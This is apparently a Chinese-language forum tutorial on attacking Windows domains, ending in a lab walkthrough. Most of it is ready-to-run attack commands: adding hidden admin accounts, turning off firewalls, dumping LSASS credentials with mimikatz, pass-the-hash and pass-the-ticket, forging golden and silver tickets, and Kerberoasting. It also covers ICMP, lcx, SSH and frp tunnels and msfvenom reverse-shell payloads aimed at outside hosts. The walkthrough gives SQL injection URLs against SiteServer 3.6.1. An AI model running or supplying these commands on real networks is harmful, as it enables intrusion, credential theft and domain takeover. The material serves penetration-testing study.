当一台机子返回会话后,我们可以使用相关命令进行相应的信息收集
Systeminfo 计算机详细信息(补丁信息) Net start 所启动的服务 Wmic service list brief 查询本机服务信息 Tasklist 进程列表 Wmic startup get command,caption 查看启动该程序信息 Schtasks /query /fo LIST /v计划任务 Netstat -ano 根据本机端口开放情况来判断有什么服务、其角色 Query user || qwinsta 查看当前在线用户 Net session 列出会话 Net share 查看本机的共享列表 Wmic share get name,path,status 查看共享列表 Net user 本地用户 Net user kkkk 查看本地用户信息 Net user kent password /add添加本地用户 Net localgroup 本地用户组 Net localgroup /domain 域用户组 Net localgroup Administrators kent /add 将本地用户添加到本地管理员组 Net localgroup adminnstrators 本地管理员组成员 net localgroup adminstrators /domain 域管理员组成员 Wmic useraccount get /all 获取域内用户详细信息 dsquery user 查看存在的用户 Net user /domain 域用户信息 Net user kkkk /domain 域用户kkkk信息 Net user kent password /add /domain添加域用户 Net localgroup Administrators kent /add /domain 将域用户添加到域管理员组 Net localgroup Administrators /add test\kent 将域用户添加到本地管理员组 Net group /domain 域用户组信息 Net view /domain 查询域 Net view /domain:test 查询域内计算机 Net accounts /domain 查询域中密码策略 Net group /domain 查看域内所有用户组 Net group “Domain Controllers” /domain 查看域控制器组 Net group “Domain computers” /domain 查看域内所有计算机列表 Net group “Domain admins” /domain 查看域内管理员用户 Net user /domain kent active:yes 启用域账户 Net user /domain kent active:no 禁用域账户 Nltest /DCLIST:test 查看域中域控制器名 Wmic useraccount get /all 用户详细信息 Net group “Domain Admins” /domain 对应组下的账户信息 nltest /domain_trusts 获取域信任信息 net config workstation 了解本机的配置信息 Netsh firewall show config 查看防火墙配置 Netsh advfirewall set allprofiles state off关闭防火墙(windows server 2003后) Netsh advfirewall firewall add rule name=”pass nc” dir=in action=allow program=”C:\nc.exe” 允许指定程序进入(windows server 2003后) Netsh advfirewall firewall add rule name=”allow nc” dir=out action=allow program=”C:\nc.exe”允许指定程序退出(windows server 2003后) Netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow 允许3389连接(windows server 2003后) Netsh advfirewall set currentprofile logging filename=”C:\winodws\temp\fw.log” 自定义防火墙日志存储位置 Reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”查看端口代理配置信息 Reg query “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber查看远程桌面端口号 以下命令是开启3389端口 (windows server 2003后) wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f net start TermService
SharpDecryptPwd: https://github.com/uknowsec/SharpDecryptPwd/raw/master/SharpDecryptPwd.exe TeamViewer :SharpDecryptPwd.exe -TeamViewer Navicat: SharpDecryptPwd.exe -NavicatCrypto Xshell:SharpDecryptPwd.exe -Xmangager -p SessionPath -s username+sid(whoami /user) laZagne : https://github.com/ethicalhackeragnidhra/LaZagne/archive/2.3.1.zip 使用方法:laZagne.exe all
我们用上述命令简单收集计算机基本信息: Ipconfig /all 根据DNS后缀判断是否有域 Net view /domain 判断是否存在域 确定域控的ip地址: net time /domain 然后通过nslookup或ping确定其域控ip: 确定当域内存活主机: for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=”
使用明文密码登录到域控,需要135端口开启: Net use \192.168.202.148\ipc$ password /user:test\administrator 把后门复制到域控c盘,at新建定时作业:
Windows server 2012及以上使用schtasks命令 Schtasks /create /s 192.168.202.148 /ru “SYSTEM” /tn executefile /sc DAILY /tr c:/h4.exe /F Schtasks /run /s 192.168.202.148 /tn executefile /i Schtasks /delete /s 192.168.202.148 /tn executefile /f
Atexec.exe test/administrator:zxcvbnm123@192.168.202.148 “whoami” Atexec.exe -hashes :fac5d668099409cb6fa223a32ea493b6 test/administrator@192.168.202.148 “whoami”
已知密码和用户批量连接ip: FOR /F %%i in (ips.txt) do net use \%%i\ipc$ “password” /user:test\administrator 已知用户和ip批量连接密码: FOR /F %%i in (pass.txt) do net use \192.168.202.148\ipc$ “%%i” /user:test\administrator 已知用户和ip批量连接hash: FOR /F %%i in (hash.txt) do atexec.exe -hashes :“%%i” test/administrator@192.168.202.148 “whoami”
在windows server 2012以上的版本默认关闭wdiget,攻击者无法在内存中获取明文密码。 在windows server 2012以下的版本如果安装了KB2871997补丁,也无法获取明文密码。
Procdump.exe -accepteula -ma lsass.exe lsass.dmp(需要管理员权限) 利用Mimikatzm相关命令获取dmp中的hash: Privilege::debug Sekurlsa::minidump lsass.dmp Sekurlsa::logonPasswords full 可以通过hashcat爆破hash值,获得对应的明文密码: Hashcat -a 0 -m 1000 hashfile passfile
官方Psexec第一种利用方法:可以先有ipc链接,再用psexec运行相应的程序: Net use \192.168.202.148\ipc$ zxcvbnm123 /user:test\Administrator Psexec \192.168.202.148 -accepteula -s cmd 官方Psexec第二种利用方法:不用建立ipc连接,直接使用密码或hash进行传递 Psexec \192.168.202.148 -u Administrator -p zxcvbnm123 -s cmd PsExec -hashes :fac5d668099409cb6fa223a32ea493b6 test.com/Administrator@192.168.202.148 "whoami" (官方执行不了)
使用第三方Impacket工具包中的smbexec和psexec(使用方法同官方一致) 使用Impacket第三方PsExec,命令与官方的一致: 使用Impacket第三方Smbexec: Smbexec test/Administrator:zxcvbnm123@192.168.202.148 Smbexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148
WMI利用135端口,支持明文和hash两种方式进行身份验证,且系统日志不记录。 第一种:使用系统自带的WMIC明文传递执行相应命令,但执行的结果不回显(先管理员账户登录) Wmic /node:192.168.202.148 /user:Administrator /password:zxcvbnm123 process call create “cmd.exe /c ipconfig >C:/1.txt”
第二种:使用系统自带cscript明文传递执行反弹shell,执行结果有回显,现已被杀 Cscript //nologo wmiexec.vbs /shell 192.168.202.148 Administrator zxcvbnm123
第三种:使用第三方impacket套件中的Wmiexec进行明文或hash传递,执行结果有回显 Wmiexec test/Administrator:zxcvbnm123@192.168.202.148 “whoami” Wmiexec -hashes :fac5d668099409cb6fa223a32ea493b6 test/Administrator@192.168.202.148 “whoami”
PTH是攻击者通过LM Hash和NTLM Hash访问远程主机或服务,不需提供明文密码。当禁用了NTLM Hash验证时,不能使用PsExec进行Hash传递,mimikatz还是可以。 Privilege::debug Sekurlsa::pth /user:Administrator /domain:test /ntlm:fac5d668099409cb6fa223a32ea493b6 关于KB22871997是否能防护PTH攻击? Pth:没有打补丁时,任何用户都可以连接,打了补丁只能administrator连接 Ptk:打了补丁后,用户才能可以连接,采用aes256连接
1、使用明文密码连接RDP Windows: Mstsc.exe /console /v:192.168.202.148 /admin Linux: rdesktop 192.168.202.148:3389 2、使用hash连接RDP 使用hash 连接需要Restricted Admin mode开启,Windows server 2012默认开启了,windows server 2008需要安装2871997、2973351补丁后,执行下面命令: REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 当开启后就能使用mimikatz进行hash连接RDP: Privilege::debug Sekurlsa::pth /user:Administrator /domain:test /ntlm:fac5d668099409cb6fa223a32ea493b6 “/run:mstsc.exe /restrictedadmin”
利用ekeys aes256 Sekurlsa::ekeys 获取aes Sekurlsa::pth /user:Administrator /domain:test2 /aes256:6e09831ee88fb85c8a3f4a88dea70e2a1b18197b70d57a9eebad73b45137433d
PTT(pass the ticket)不再使用NTLM进行认证,而是利用kerberos协议进行攻击,相对于PTH来说其不需要管理员权限,有三种常见的攻击方式:MS14-068(漏洞编号kb3011780)、Golder ticket、Silver ticket,其中后两者是将连接合法的票据注入内存中属于权限维持(后面写)。
第一种使用MS14-068 exp: 先用whoami /user查看当前用户sid Kerberos::purge或klist purge先清空当前机器中的所有凭证: 利用MS14-068生成相应凭证: MS14-068.exe -u c@test.com -s S-1-5-21-2273191065-1635484360-3888421177-1105 -d 192.168.202.148 -p c@zxcvbnm123 使用mimikatz将票据注入内存: Kerberos::ptc “TGT_c@test.com.ccache” 后续利用: 第二种kekeo利用hash生成票据: Kekeo “tgt::ask /user:c /domain:test.com /ntlm:abe09320f41c250eadcc5bfba77a5e1a” 同样清楚票据并导入生成的票据: kerberos::ptt TGT_c@TEST.COM_krbtgt~test.com@TEST.COM.kirbi 第三种利用mimikatz收集本地的票据并重新导入(导出需要管理员权限): Sekurlsa::tickets /export 使用Kerberos::ptt 进行导入票据。
Golder ticket使用krbtgt账户的密码hash值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控权限。在域环境中,每个账户的票据都是Krbtgt生成的,当攻击者得到krbtgt hash或AES256值后,我们就可以伪造任一域用户的身份,并用该身份进行访问。伪造Golder ticket利用条件: 1、krbtgt用户hash或AES256值 2、域名称 3、域的SID值 4、要伪造的管理员名
下面是具体操作: Privilege::debug 执行导出krbtgt hash命令 Lsadump::dcsync /domain:test.com /user:krbtgt 获得hash值:71204258ec5b715c29f6c8ee40a0c20d 获取域SID Wmic useraccount get name,sid S-1-5-21-2273191065-1635484360-3888421177-500 查询域管理员账户 net group “domain admins” /domain 获得域名 ipconfig /all Kerberos::purge清空票据,然后使用下面命令生成krbtgt的票据 kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-2273191065-1635484360-3888421177-500 /krbtgt:71204258ec5b715c29f6c8ee40a0c20d /ticket:krbtgt. kiribi kerberos::ptt krbtgt.kiribi 把生成的票据重新导入内存
Silver Ticket会通过相应的服务账户来伪造TGS,例如LDAP、MSSQL、WinRM、CIFS等,范围相对有限,只能获取对应服务权限,且Silver Ticket是由特定的账户加密的。利用条件: 1、域名 2、域SID 3、目标服务器的FQDN 4、可利用的服务 5、服务账号的NTLM Hash 6、需要伪造的用户名 下面进行相应的操作: 先清空系统中的票据 : Kerberos::purge 使用mimikatz生成伪造的 Silver Ticket : kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-2273191065-1635484360-3888421177-500 /target:WIN-MPPGQR2OWEC.test.com /service:cifs /rc4:fac5d668099409cb6fa223a32ea493b6 /user:c3 /ptt 退出mimikatz,查看内存中的票据: 重新访问域控的共享目录:
在域环境中,SPN扫描是查找相关服务较好的方法,可以从相关服务着手,如MSSQL、WSMAN、Exchange、TERMSERV、Hyper-V。其扫描是通过请求特定SPN类型的服务主题名称进行的。与普通网络端口相比,SPN扫描不需要连接IP来检测服务端口,所以能规避一些IPS的规则,且进行扫描只需普通域用户权限。 注册SPN Setspn -A c3/test MSSQL 查看注册的SPN Setspn -q / Setspn -q / | findstr “MYSQL” 请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL" 列出服务票据 Klist 并用mimikatz将票据导出 Kerberos::list /export 最后使用tgsrepcrack.py爆破得到相应密码。
先在受控端(web服务器)运行PingTunnel工具,执行开启隧道命令 sudo ./pingtunnel -type server 在控制端(公网vps)执行下面命令,打开需要监听的本地端口,会把指定的服务器相应端口的数据封装在ICMP隧道中,以受控端(web服务器)为IMCP隧道跳板进行传输。 pingtunnel -type client -l :本地所监听的端口 -s 受控端IP -t 指定要转发的目标IP:指定要转发的目标端口 -tcp 1 pingtunnel -type client -l :33444 -s 192.168.74.132 -t 192.168.96.145:80 -tcp 1 访问本地监听端口:
Lcx是传输层经典的转发工具。Lcx是一个基于Socket套接字实现的转发工具,其linux版本为portmap。一个正常的Socket隧道必须具备两端:一端为服务端,负责监听一个端口并等待客户端连接;另一端为客户端,通过服务端的地址和端口与其连接,并转发相应的数据给服务端。 在自己的公网vps(即服务端)执行监听命令,将本机4444端口上监听的所有数据转发给本机的5555端口,以便其它机器访问。 Lcx.exe -listen 4444 5555 在受控端(即客户端)执行数据转发命令,将目标机器的80端口转发到公网vps的4444端口。 Lcx.exe -slave 公网ip 4444 目标机器IP 80 我们通过vps的ip和5555访问到目标机器的80端口:
同样地lcx也常用于本地端口映射,当目标服务器由于防火墙限制,部分端口没能通过防火墙时,可以将目标服务器响应端口数据转发到防火墙允许的端口。在目标服务器执行下面命令,即可把远程桌面转到53端口: Lcx -tran 53 目标服务器IP 3389
-C:压缩传输,提高速度。 -f: 后台执行 -N:建立静默连接 -g:允许远程主机连接本地用于转发的端口 -L:本地端口转发 -R:远程端口转发 -D:动态端口转发 -P:指定SSH端口
本地转发: 在VPS执行如下相应命令,该命令以web服务器为跳板,将内网服务器的端口映射到公网的vps上,我们访问对应公网vps的端口即可。 Ssh -CfNg -L 公网VPS端口:目标主机IP:目标端口号 root@跳板机IP
远程转发: 当公网的vps不能访问访问到内网的服务器(包括web服务器),但web服务器能访问到公网的vps时,我们在web服务器执行如下相应命令,该命令以web服务器为跳板,将vps端口的流量转发到内网服务器相应端口上,我们访问对应公网vps的端口即可。 Ssh -CfNg -R vps端口:目标主机IP:目标端口号 root@跳板机IP
动态转发: 动态端口映射时建立一个ssh加密的socks4/5代理通道,任何支持socks4/5协议的程序都可以通过此通道进行代理访问。我们在vps上执行如下命令: ssh -CfNg -D 7000 root@代理主机IP
执行命令./sunny clientid d8d99b5ff5d4996 访问对应的域名,确认能连接成功: 执行命令生成相应的exe: msfvenom -p windows/meterpreter/reverse_http lhost=mai1zhi2.free.idcfengye.com lport=80 -f exe -o h7.exe 设置好相应的payload后,打开监听,运行exe:
服务端默认监听端口是7000,执行命令,启动服务端 ./frps -c ./frps.ini 启动客户端frpc配置文件: [msf] type = tcp local_ip = 本地ip地址 local_port = 22222 转发给本机的22222端口,也就是msf的监听端口 remote_port = 6000 服务端打开6000端口进行监听 执行命令连接服务端:./frpc -c ./frpc.ini 服务端显示有客户端连接: 服务端开启6000端口进行监听 Msf生成exe文件: msfvenom -p windows/meterpreter/reverse_http lhost=公网ip lport=公网ip监听的端口 -f exe -o h4.exe 执行exe上线:
这个靶场是月师傅所搭,我们用这个靶场作为实践,靶场拓扑图: 先进行主机发现,方法有许多,分别是基于层面和工具上的不同: 1、使用netdiscover sudo netdiscover -i eth0 -r 192.168.202.0/24 专用的二层发现工具。拥有主动和被动发现两种方式。 常用参数: -i:网卡 选择你监控的网卡。比如eth0 -r:range 指定IP段。比如192.168.0.0/24 -l:filename 从文件读取range列表 -p 被动模式。默默的侦听指定的网卡以发现别的二层主机 -t ARP包发送间隔。单位毫秒。这个可以用来规避检测系统的告警。 -c 发包数量 2、使用nmap nmap -v -sP 192.168.202.0/24 以上参数: -sP、ICMP扫描: 类似于ping检测,快速判断目标主机是否存活,不做其他扫描 3、使用系统自带ping(速度稍慢) for /L %I in (1,1,256) DO @ping -w 1 -l 1 192.168.202.%I | findstr “TTL=” fping -g 10.10.10.0/24
然后对所发现的主机进行端口扫描,同样也有不同工具来进行端口扫描: 1、nmap nmap -sS -p 1-65535 -v 192.168.202.183 以上参数: -P 指定端口扫描 -V 详细信息 -sS、TCP SYN扫描(半开扫描): 只向目标发出SYN数据包,如果收到SYN/ACK响应包就认为目标端口正在监听,并立即断开连接;否则认为目标端口并未开放。 -sT、TCP 连接扫描: 这是完整的TCP扫描方式,用来建立一个TCP连接,如果成功则认为目标端口正在监听服务,否则认为目标端口并未开放。 -sF、TCP FIN扫描: 开放的端口会忽略这种数据包,关闭的端口会回应RST数据包。许多防火墙只对SYN数据包进行简单过滤,而忽略了其他形式的TCP攻击包。这种类型的扫描可间接检测防火墙的健壮性。 -sU、UDP扫描: 探测目标主机提供哪些UDP服务,UDP扫描的速度会比较慢。 识别对应的端口 nmap -sV -A 192.168.202.183 -p 80,53,6588,5985,3389,135,21,999 -oA myAttackPorts -sV: 探测相应服务版本号 -A: 综合扫描,包含1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测 -oA:同时在三个主要的格式文档输出扫描结果 使用xsltproc美化结果输出文档: xsltproc -o attck.html mode.xsl myAttackPorts.xml
2、masscan sudo masscan -p 1-65535 192.168.202.183 --rate=1000 常用参数: -p <ports,--ports <ports>> 指定端口进行扫描 --banners 获取banner信息,支持少量的协议 --rate <packets-per-second> 指定发包的速率,默认的速率是100包/秒
绑定域名,再对其www.moonlab.com进行目录爆破, 如果用kali自带的dirbuster工具会因为UA和速度等问题被拦截: 所以我们可以自己编写脚本进行目录的爆破,每间隔0.5秒进行请求操作:
访问网址可知,这是siteserver3.6.1,从网上找到该版本报错注入的相关poc,获得数据库版本信息: http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20-- 获得数据库名: http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=~2;%20-- 根据查询数据库语句相继获取到后台的用户名、密码及salt值: http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(SELECT%20TOP%201%20[Password]%20FROM%20[bairong_Administrator]);%20--
然后我们根据网上所下载的原理分析出其登录时的密码加密流程: 先看FrameworkLogin类的Submit_Onclick()方法,流程很简单先判断验证码,然后把用户名和密码传入AdminManager.Authticate: 继续跟入AdminManager.Authticate,调用了AdministratorDAO.ValidateUser()验证: 继续跟入AdministratorDAO.ValidateUser()的实现,函数先根据用户名找到用户的信息,根据数据库中用户的密码与输入的密码调用checkpassword()函数进行比对: 把数据库中的密码和salt传入DecodePassword()进行相应的解密: DecodePassword()函数中调用的是系统库的des解密: 我们了解了相关的解密流程,就可以自己编写相关的解密工具去解密前面注入得到的密码为admin5566。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)